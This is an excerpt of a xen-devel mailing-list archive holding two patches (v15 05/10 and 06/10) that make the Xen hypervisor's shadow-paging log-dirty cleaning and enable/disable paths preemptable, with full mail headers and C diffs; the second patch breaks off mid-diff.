 /* Marks a guest L1 page table which is shadowed but not write-protected.



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:22:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:22:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374381.1621539 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woihD-0002xw-DO; Tue, 28 Jul 2026 14:22:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374381.1621539; Tue, 28 Jul 2026 14:22:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woihD-0002xn-Ad; Tue, 28 Jul 2026 14:22:15 +0000
Received: by outflank-mailman (input) for mailman id 1374381;
 Tue, 28 Jul 2026 14:22:14 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woihC-0002xG-Fr
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:22:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woihB-00HOAI-T1
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:22:13 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bafb-5cb7-0a2a0a5109dd-0a2a450bc7ee-44
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:22:13 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bb15-b7e8-0a2a450b0019-d155dd2eb983-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:22:13 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-47f84023916so3909473f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:22:13 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c6f076sm59359286f8f.34.2026.07.28.07.22.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:22:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248533; x=1785853333; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=YAcoPIBVIk35F4UuhNNjahrwo2SklVXZ2m2wuexNepE=;
        b=NQT3b/l1U/0AHnFoVyVGdUrKKFGRn8j6g5egzmJbO4CCblTXk6M4llqgKZrtjbPtIg
         uyRnzuNLtjmp7VQYlfi0C0a8w8UQtrAhVlefLM3UizzB8Ue3lGMFifoLK4fhkCl1czDI
         1JJHcyVbuwSzwsoPzkCAehhBKDkK+2tPHd74cjZOKGNF5kMhd3p+nAtS+u8et5A9om/x
         0lGCXfP5E1LJyfHZZi5TCpCBS4/h62be4ICpHwxi5sZvIXDk76x+esTd8WEPfA3BlXK5
         7crs2NTr2ZBtZZwFeJ/rhPYRB0e/5L4E9T9LOCVTRz7Wc2Dxl8BU35IrghmONgCQr1r5
         OHjg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248533; x=1785853333;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=YAcoPIBVIk35F4UuhNNjahrwo2SklVXZ2m2wuexNepE=;
        b=NO8wQ4YtuZT7DSe/R+npHfP87Q8zGu/gculo4nluzaNUuN0vLLW7QADQ/tAL1L95SD
         cfwkHbzuC81j3WVSZG9IC7CK9j+xLdK3p0+4MTqnHnbXRTacuBt54Wk+w0xrhIT0V8jD
         7xh57B9PEw/L1wPybsKFw/6nSgNqbYpm2aUWTJpHEOmLFjO6HOaPj/TGUelp1ILi6Sp+
         5JdH1L3cy2EFOd2hgzswZGHNiaGNQWINATqnBM+3EPIBNR9P910lPciQMkIiR5ut1T7Q
         BsAv6x0aiDCGpfTwRLG0k4crfCD2BjOg9dJsiw1ZA7W+miyKZVWCea0amg+KbV/v89kO
         XN8A==
X-Gm-Message-State: AOJu0YwTxgKYLiWaOcCk7fD2JiCf9TvGE6GZMauRthQWQ4kY3kJARUpW
	gtZH1+9cxRl+4Qi4Ze7IK0s88mf7oAZec+axdpIaX4GIoeceJ2QKPAkm5XHxtv31zySA8O+ETrC
	ifwHGOQ==
X-Gm-Gg: AR+sD12nmcPFH2Nwq84+IJ3jR+z0ggNs8K1Bw6Tpl1wHzUYZxdG+06hrGRaHIzSdVUg
	Hb8UQ0KmA+SNAdxUFEpaDPYz39S9VyGYN9oodKAf88kMc0fS6KrC+H6HDugs3Z/KNfleWxFzSck
	q0U29Sgpt2GgUvOIG4JQNc7t8dVZzt2GWlRUse3Oqp/sFO7x3QXoqyVFLfAMrnQmQQpOo6qxGhL
	XzQvsQ0nSkCO/gi2uNq528SKkzkgddLInwYu83ugb4GqT9uEIOerO+AfjPIuBUkgxSLkFdT95+d
	/GComwCnD9ue1mzsWlOyXi3/efwTmfyQjpQZgvtoUPLazpLUzMgGeBZYvzXHpqcX77QDpQmzERc
	SfknWokGuTKerg43ST/3gUJzRGUqt85H9PchsKu6+MCak8ypmA49K4gvPdTafOnXeALBVkmS5wX
	Q/LxdbB+UJsP3Qq7sVg5ASeudtGZepr5xs3ubQHyrxSx0yqkLtmaqLTQgHqRnqDUtbkjFKf+X+g
	CHp
X-Received: by 2002:a05:6000:22c3:b0:47f:9567:e63b with SMTP id ffacd0b85a97d-47fb1f26115mr3657417f8f.55.1785248533183;
        Tue, 28 Jul 2026 07:22:13 -0700 (PDT)
Message-ID: <274756a3-83da-4594-8909-25a3a9eb94d2@suse.com>
Date: Tue, 28 Jul 2026 16:22:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v15 05/10] x86/shadow: make clean-dirty-bitmap post-processing
 preemptable
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
References: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse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80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785248533-A86CA9EA-898524F5/0/0
X-purgate-type: clean
X-purgate-size: 6534

What this currently amounts to is blowing the domain's tables. To make
that call preemptable and to record state in a race-free manner, it
needs to be moved inside the paging-locked region. Since the
corresponding HAP function wants to acquire the P2M lock, the hook
invocation itself cannot be moved. Call the shadow function directly,
and prevent the hook from being invoked in that case.

To prevent "extra" accounting from being done more than once in
paging_log_dirty_op(), the mapping of the top level table also becomes
conditional (upon the subsequent loop doing nothing anyway).

Further note that this now also avoids sh{,adow}_clean_dirty_bitmap()
needlessly being called when no paging mode was enabled at all for the
domain. (The function continues to be called even when log-dirty mode
isn't enabled.)

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
The hook functions were/are slightly mis-named, as they don't clean
anything. However, to keep names similar (and hence possible to grep
for) the new directly called function is still named in the same manner.

Of course we could purge the hook altogether, calling the HAP function
directly as well. If so, question would be whether to do so right here
or in a public follow-up (perhaps the latter).

In the course of doing this work I've noticed that libxenguest uses
XEN_DOMCTL_SHADOW_OP_CLEAN even on the last iteration. Wouldn't it
suffice to invoke the non-cleaning (peek) operation there instead,
reducing the overhead of shadow's post-processing?
---
v15: Fix !SHADOW_PAGING build.
v14: New.

--- a/xen/arch/x86/include/asm/domain.h
+++ b/xen/arch/x86/include/asm/domain.h
@@ -234,7 +234,7 @@ struct paging_domain {
         union {
             struct {
                 unsigned long done:PADDR_BITS - PAGE_SHIFT;
-                unsigned long i4:PAGETABLE_ORDER;
+                unsigned long i4:PAGETABLE_ORDER + 1;
                 unsigned long i3:PAGETABLE_ORDER;
             } log_dirty;
         };
--- a/xen/arch/x86/include/asm/shadow.h
+++ b/xen/arch/x86/include/asm/shadow.h
@@ -56,6 +56,9 @@ int shadow_domain_init(struct domain *d)
  * paging_vcpu_init() in paging.c */
 void shadow_vcpu_init(struct vcpu *v);
 
+/* Post-processing necessary after the log-dirty bitmap was cleaned. */
+bool shadow_clean_dirty_bitmap(struct domain *d);
+
 #ifdef CONFIG_SHADOW_PAGING
 
 /* Enable an arbitrary shadow mode.  Call once at domain creation. */
--- a/xen/arch/x86/mm/paging.c
+++ b/xen/arch/x86/mm/paging.c
@@ -473,8 +473,9 @@ static int paging_log_dirty_op(struct do
         goto out;
     }
 
-    l4 = paging_map_log_dirty_bitmap(d);
     i4 = d->arch.paging.preempt.log_dirty.i4;
+    if ( i4 < LOGDIRTY_NODE_ENTRIES )
+        l4 = paging_map_log_dirty_bitmap(d);
     i3 = d->arch.paging.preempt.log_dirty.i3;
     pages = d->arch.paging.preempt.log_dirty.done;
 
@@ -542,6 +543,19 @@ static int paging_log_dirty_op(struct do
     if ( l4 )
         unmap_domain_page(l4);
 
+    /*
+     * In the shadow case post-processing may take long and hence needs to be
+     * preemptable. Since continuation state is protected by the paging lock,
+     * we need to call its function (and record state) before dropping that
+     * lock. The hook invocation further down therefore will be skipped.
+     */
+    if ( !rv && clean && paging_mode_shadow(d) &&
+         !shadow_clean_dirty_bitmap(d) )
+    {
+        d->arch.paging.preempt.log_dirty.i4 = LOGDIRTY_NODE_ENTRIES;
+        rv = -ERESTART;
+    }
+
     if ( !rv )
     {
         d->arch.paging.preempt.dom = NULL;
@@ -569,10 +583,12 @@ static int paging_log_dirty_op(struct do
 
     if ( pages < sc->pages )
         sc->pages = pages;
-    if ( clean )
+    if ( clean && paging_mode_hap(d) )
     {
-        /* We need to further call clean_dirty_bitmap() functions of specific
-         * paging modes (shadow or hap).  Safe because the domain is paused. */
+        /*
+         * We need to further call HAP's clean_dirty_bitmap() function (shadow
+         * was dealt with above).  Safe because the domain is paused.
+         */
         d->arch.paging.log_dirty.ops->clean(d);
     }
     domain_unpause(d);
--- a/xen/arch/x86/mm/shadow/common.c
+++ b/xen/arch/x86/mm/shadow/common.c
@@ -71,7 +71,6 @@ DEFINE_PER_CPU(uint32_t,trace_shadow_pat
 
 static int cf_check sh_enable_log_dirty(struct domain *d);
 static int cf_check sh_disable_log_dirty(struct domain *d);
-static void cf_check sh_clean_dirty_bitmap(struct domain *d);
 
 static void cf_check shadow_update_paging_modes(struct vcpu *v);
 
@@ -82,7 +81,7 @@ int shadow_domain_init(struct domain *d)
     static const struct log_dirty_ops sh_ops = {
         .enable  = sh_enable_log_dirty,
         .disable = sh_disable_log_dirty,
-        .clean   = sh_clean_dirty_bitmap,
+        .clean   = ZERO_BLOCK_PTR,
     };
 
     INIT_PAGE_LIST_HEAD(&d->arch.paging.shadow.pinned_shadows);
@@ -2606,14 +2605,18 @@ static int cf_check sh_disable_log_dirty
 /* This function is called when we CLEAN log dirty bitmap. See
  * paging_log_dirty_op() for details.
  */
-static void cf_check sh_clean_dirty_bitmap(struct domain *d)
+bool shadow_clean_dirty_bitmap(struct domain *d)
 {
-    paging_lock(d);
+    bool preempted = false;
+
+    ASSERT(paging_locked_by_me(d));
+
     /* Need to revoke write access to the domain's pages again.
      * In future, we'll have a less heavy-handed approach to this,
      * but for now, we just unshadow everything except Xen. */
-    shadow_blow_tables(d, NULL);
-    paging_unlock(d);
+    shadow_blow_tables(d, &preempted);
+
+    return !preempted;
 }
 
 /**************************************************************************/
--- a/xen/arch/x86/mm/shadow/none.c
+++ b/xen/arch/x86/mm/shadow/none.c
@@ -7,11 +7,6 @@ static int cf_check _toggle_log_dirty(st
     return -EOPNOTSUPP;
 }
 
-static void cf_check _clean_dirty_bitmap(struct domain *d)
-{
-    ASSERT(is_pv_domain(d));
-}
-
 static void cf_check _update_paging_modes(struct vcpu *v)
 {
     ASSERT_UNREACHABLE();
@@ -23,7 +18,7 @@ int shadow_domain_init(struct domain *d)
     static const struct log_dirty_ops sh_none_ops = {
         .enable  = _toggle_log_dirty,
         .disable = _toggle_log_dirty,
-        .clean   = _clean_dirty_bitmap,
+        .clean   = ZERO_BLOCK_PTR,
     };
 
     paging_log_dirty_init(d, &sh_none_ops);



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:22:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:22:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374391.1621549 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woihb-0003VQ-Lm; Tue, 28 Jul 2026 14:22:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374391.1621549; Tue, 28 Jul 2026 14:22:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woihb-0003VH-Iq; Tue, 28 Jul 2026 14:22:39 +0000
Received: by outflank-mailman (input) for mailman id 1374391;
 Tue, 28 Jul 2026 14:22:37 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woihZ-0003Sw-OR
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:22:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woihZ-004xTM-5A
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:22:37 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bb1e-2eae-0a2a0a5409dd-0a2a450880f2-28
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:22:37 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bb2c-f659-0a2a45080019-d1558032c93b-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:22:37 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-493b966dd74so24570335e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:22:37 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c44a873csm85807545e9.2.2026.07.28.07.22.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:22:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248556; x=1785853356; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=xzunNfHOxzhHTSPk1dD1REpFH01TRuP3mjZJ3vTTN8k=;
        b=eLA93yqF4LR0hFlDou/xeKlw5KABpSb/Mup8kNmCEbASP0MgpD85jUkerJepjllZ1N
         8BkpSefeBza2K5D5EXHzGOn5wB2IaFTDpXTAJtV4x4+RzPeQU9glutoMBhRGW+HXv/Jw
         r3ROGKTa7r9uxm0X0S2QHH+U2Z0/L92UaacpUH8VlQwnHimse7+UK4WvZWedMv82DPPr
         7iV16mU2kByI8jWDNECTN3HkjYz5dOD6C2w11LZtu3/lwqIwLvkzx6QdmvrkXur3pBVP
         81bYJ37oSfeGzxRqEhn/POE8flwGun60tLRZxsFNDYJmegESb6W2QwzluRBj9OonUnxK
         QBHw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248556; x=1785853356;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=xzunNfHOxzhHTSPk1dD1REpFH01TRuP3mjZJ3vTTN8k=;
        b=Xdc5XD+iEa4IxGnFBak/G5RHGo4zyRbeqnbwM06s7kCPCreGc3smuzTZ1ZHJbrkyIn
         1ziT4LewEhv+9dWK/a/449Ruf9QKeAM5h0vWIKEUeKDVBxBRGX/z67Jhf3PN/jZ7IRuG
         eD60z643lP7BfHakREj/U7BNSs4YdKlKIPGnVfymDxYNDtp0ClmDqdbqBV2Fg/6wgw7k
         fDl79DjSXA/zERbD96kmwaL6YhAP0wIlsOaN/lRtxQ4O7kWdIzxRJXVTBCH+Eov4VRv0
         VpQmC04Pg9PZJsiLBjAQlusO6faIKwlO7rP9ApB4CCfFwDeNlwZEQ92SvBc+fv1holMt
         E9kg==
X-Gm-Message-State: AOJu0Yyi4MC4ku0OGvL24BxdoKMHLA5kO1pW3Py/2Ql9T8jIKPe7xJDv
	FqrjtOXXbyMFdd9WTqNDsiAVotkc2fl0MJLto3bAqyvBazmGWqUbN/gZDu38ThFOXyU+GkXWgr8
	bOUAsiA==
X-Gm-Gg: AR+sD11Vws+2fpvMZPiGMYeNq42GJFznq/OIurkfQ52XVPv04wyMgFeCzS+gALzFkSh
	g3RbSVhfjGVnhNXjbbRUdcshb76amS6K41EeMc83W17dfL1FTIpQGpqi9BBqhnpETTatWCZUWPa
	lMIiIQ0HcVdBcibbcndyFjhrMwwceKJyX5wLwE3XR2w0zeSSFJEzXJ8c2wuvWPPeGYw4gHW4i7b
	jCOhkC139kEcttF+dne2cm4gVU7Aky9j1T2+2d5eabfCTuuddVsyTjh57DnfVJJakojQ4rOyWKi
	u31xJfTgatBndY8okzCvQKp3E9r5o+kGLOeC6OJ79HEAuhkcyyBvvxVnDVvvk690j0MsEFFpMii
	NQAq7TgGxg4ID9MXqJ8sfN8mjvPtaq66J1kNmj254a1NV0RyHChbGVZejYhzAsEFER2BP53ozJw
	Ybcu/2J7OhGYyDcORSVTGWE51gyTgOjY7Kiw62fW8SHZ0X8PamvTD/cJAHlfz8YtmLqX+mBNGVd
	ReE5AKCBbYDL24=
X-Received: by 2002:a05:600c:c16d:b0:493:c8a6:b517 with SMTP id 5b1f17b1804b1-496c6588c3cmr27756545e9.38.1785248556294;
        Tue, 28 Jul 2026 07:22:36 -0700 (PDT)
Message-ID: <ed14e7f9-6e65-4646-84ae-0b167383a50f@suse.com>
Date: Tue, 28 Jul 2026 16:22:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v15 06/10] x86/mm: make more of log-dirty mode enable/disable
 preemptable
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
References: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1785248557-CED4087B-82A37201/0/0
X-purgate-type: clean
X-purgate-size: 10439

So far only part of disable was preemptable. Shadow code, however, will
need to purge all earlier shadows, which may take quite a bit of time.
In the general (paging) layer arrange for the hook functions to possibly
indicate the need for resuming. In shadow code leverage "enable" already
calling shadow_blow_tables(), simply making that call preemptable, while
adding a call to that function for "disable".

In order for resume state to be properly guarded, the paging lock now
needs acquiring in paging_log_dirty_{en,dis}able(). HAP's need to
acquire the P2M lock makes it necessary to allow the hook functions to
drop the paging lock.

Note that when requesting resuming, the hook functions must not have
changed the paging (shadow) mode yet; the actual mode change part is
expected to be performed quickly enough to not require preemption. This
is why "blow" (done ahead of mode switching) is preferred over
"detach-old" (occurring with mode already updated). While this may mean
more purging being done now for "disable", starting from a clean state
afterwards may be better overall anyway.

Note further that HAP code is, except for the locking adjustments,
(intended to be) largely unaffected, for not having a need for
preemption checking.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Locking isn't really nice here, but I see no better way given HAP's need
to acquire the P2M lock in its hook functions. Things may end up a little
better if doing away with the hooks and handling HAP and shadow (in part)
separately in paging.c, and then building upon HAP not needing any
preemption checking. Yet whether purging the hooks right here is okay is
unclear (see also "x86/shadow: make clean-dirty-bitmap post-processing
preemptable", where the question also arises).

See also the comments in "x86/shadow: 1-bit-disable doesn't need to
detach old tables". Specifically avoiding shadow_blow_tables() here
would mean pinned shadows wouldn't be needlessly unpinned.
---
v15: Add missing domain_unpause() to paging_log_dirty_enable()'s HAP
     path. Re-base.
v14: (Re)check and update preemption state under paging lock. Adjust
     locking accordingly. Re-base.
v13: New.

--- a/xen/arch/x86/include/asm/domain.h
+++ b/xen/arch/x86/include/asm/domain.h
@@ -199,6 +199,11 @@ struct log_dirty_domain {
 
     /* functions which are paging mode specific */
     const struct log_dirty_ops {
+        /*
+         * enable() and disable() will be called with the paging lock held.
+         * They may drop the lock (but not drop and re-acquire it), but then
+         * need to indicate so by returning a positive value.
+         */
         int        (*enable  )(struct domain *d);
         int        (*disable )(struct domain *d);
         void       (*clean   )(struct domain *d);
--- a/xen/arch/x86/mm/hap/hap.c
+++ b/xen/arch/x86/mm/hap/hap.c
@@ -184,7 +184,7 @@ static int cf_check hap_enable_log_dirty
         return -EBUSY;
 
     /* turn on PG_log_dirty bit in paging mode */
-    paging_lock(d);
+    ASSERT(paging_locked_by_me(d));
     d->arch.paging.mode |= PG_log_dirty;
     paging_unlock(d);
 
@@ -198,12 +198,12 @@ static int cf_check hap_enable_log_dirty
     p2m_change_entry_type_global(d, p2m_ram_rw, p2m_ram_logdirty);
     guest_flush_tlb_mask(d, d->dirty_cpumask);
 
-    return 0;
+    return 1;
 }
 
 static int cf_check hap_disable_log_dirty(struct domain *d)
 {
-    paging_lock(d);
+    ASSERT(paging_locked_by_me(d));
     d->arch.paging.mode &= ~PG_log_dirty;
     paging_unlock(d);
 
@@ -215,7 +215,7 @@ static int cf_check hap_disable_log_dirt
      * normal mode, or via hardware-assisted log-dirty.
      */
     p2m_change_entry_type_global(d, p2m_ram_logdirty, p2m_ram_rw);
-    return 0;
+    return 1;
 }
 
 static void cf_check hap_clean_dirty_bitmap(struct domain *d)
--- a/xen/arch/x86/mm/paging.c
+++ b/xen/arch/x86/mm/paging.c
@@ -104,13 +104,10 @@ static int paging_free_log_dirty_bitmap(
     mfn_t *l4, *l3, *l2;
     int i4, i3, i2;
 
-    paging_lock(d);
+    ASSERT(paging_locked_by_me(d));
 
     if ( mfn_eq(d->arch.paging.log_dirty.top, INVALID_MFN) )
-    {
-        paging_unlock(d);
